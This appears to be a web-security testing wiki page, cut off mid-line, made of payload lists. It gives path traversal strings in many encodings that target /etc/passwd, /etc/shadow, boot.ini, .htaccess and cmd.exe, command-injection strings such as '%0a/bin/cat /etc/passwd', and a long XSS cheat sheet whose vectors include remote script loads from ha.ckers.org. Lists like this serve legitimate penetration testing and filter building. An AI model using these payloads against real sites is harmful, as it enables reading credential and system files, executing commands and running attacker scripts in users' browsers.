..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);//&amp;lt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&amp;lt;B&amp;gt;<br /> &amp;lt;SCRIPT SRC=//ha.ckers.org/.j&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&quot;<br /> &amp;lt;iframe src=http://ha.ckers.org/scriptlet.html &amp;lt;<br /> &amp;lt;SCRIPT&amp;gt;a=/XSS/\nalert(a.source)&amp;lt;/SCRIPT&amp;gt;<br /> &quot;\&quot;&quot;;alert('XSS');//&quot;<br /> &quot;&amp;lt;/TITLE&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;INPUT TYPE=&quot;&quot;IMAGE&quot;&quot; SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BODY BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;BODY ONLOAD=alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG DYNSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG LOWSRC=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BGSOUND SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;BR SIZE=&quot;&quot;&amp;amp;{alert('XSS')}&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LAYER SRC=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/LAYER&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;LINK REL=&quot;&quot;stylesheet&quot;&quot; HREF=&quot;&quot;http://ha.ckers.org/xss.css&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;STYLE&amp;gt;@import'http://ha.ckers.org/xss.css';&amp;lt;/STYLE&amp;gt;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Link&quot;&quot; Content=&quot;&quot;&amp;lt;http://ha.ckers.org/xss.css&amp;gt;; REL=stylesheet&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br 